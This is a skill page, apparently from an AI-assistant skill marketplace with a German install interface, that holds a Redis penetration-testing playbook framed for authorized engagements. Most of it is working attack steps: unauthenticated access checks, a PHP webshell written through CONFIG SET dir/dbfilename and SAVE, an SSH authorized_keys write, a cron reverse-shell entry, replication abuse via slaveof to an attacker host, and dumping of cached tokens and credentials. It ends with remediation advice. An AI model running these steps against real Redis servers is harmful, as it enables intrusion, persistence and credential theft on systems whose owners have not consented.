Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements.
Default port 6379/tcp; Redis is a plain-text line protocol (optionally TLS), so nc and redis-cli both work directly.
Banner/nmap shows redis and a version like Redis key-value store 4.0.9.
Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.
Quick Enumeration
nmap --script redis-info -sV -p6379 <IP>
msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit'# Connect (text protocol)
nc -vn <IP> 6379
redis-cli -h <IP> # apt-get install redis-tools
redis-cli -h <IP> info # full instance info
Critical: Checks Most Often Missed
Unauthenticated access — the #1 miss. By default Redis needs no credentials; info returns instance data instead of -NOAUTH Authentication required.
How to CONFIRM: redis-cli -h <IP> info returns server stats. If -NOAUTH is returned, creds are required (AUTH <user> <pass>; reply +OK = valid). Only password configured → username is default.
CONFIG SET dir/dbfilename → webshell write — repoint the RDB save path to a webroot, set a key to PHP, and SAVE to write a shell.
How to CONFIRM: config set dir /var/www/html, config set dbfilename redis.php, set test "<?php system($_GET['c']);?>", save, then http://<IP>/redis.php?c=id.
SSH authorized_keys write — write your public key into ~/.ssh/authorized_keys of the redis (or another) user and log in.
How to CONFIRM: config set dir /var/lib/redis/.ssh, config set dbfilename authorized_keys, set a spaced key, save, then ssh -i id_rsa redis@<IP>.
Cron job write — write a crontab entry to (Ubuntu) or (CentOS) for a callback.
/var/spool/cron/crontabs/
/var/spool/cron/
How to CONFIRM: set a key containing a */1 * * * * <rev shell> line, config set dir /var/spool/cron/crontabs/, config set dbfilename root, save.
Master-slave replication abuse — slaveof <attacker> 6379 makes the target a replica you control (module-load RCE chains).
Workflow
Step 1: Enumerate
redis-cli -h <IP> info
redis-cli -h <IP> CONFIG GET '*'# full config incl. dir, requirepass
redis-cli -h <IP> CONFIG GET dir# run FIRST — exploits can change it
redis-cli -h <IP> INFO keyspace # which databases (0..N) hold data
redis-cli -h <IP> info works with no password. SELECT 1; KEYS *; GET <key> dumps session tokens and cached credentials, immediately reusable elsewhere.
Scenario 2: Unauth → webshell RCE
Redis is unauthenticated and a web root is writable. config set dir /var/www/html; config set dbfilename x.php; set p "<?php system($_GET['c']);?>"; save lands a shell; x.php?c=id returns www-data.
Scenario 3: Unauth → SSH foothold
The redis user's home is writable. The tester writes their public key to /var/lib/redis/.ssh/authorized_keys via CONFIG+SAVE and logs in over SSH as redis.
Output Format
## Redis Finding
**Service**: Redis
**Port**: 6379/tcp (Redis 4.0.9)
**Severity**: Critical
**Finding**: Unauthenticated Redis allowing webshell write (RCE)
**Evidence**:
- `redis-cli -h <IP> info` returned server stats with no AUTH
- config set dir /var/www/html; set p "<?php ...?>"; save -> file written
- http://<IP>/p.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated access to all cached data plus remote code execution on the host.
**Recommendation**:
1. Enable authentication (`requirepass` / ACL users) with a strong password.
2. Bind to localhost or restrict 6379 by firewall; enable protected-mode.
3. Disable/rename dangerous commands (CONFIG, MODULE, SLAVEOF, FLUSHALL) via rename-command.
4. Run redis as an unprivileged user; patch to a current release to fix Lua RCE CVEs.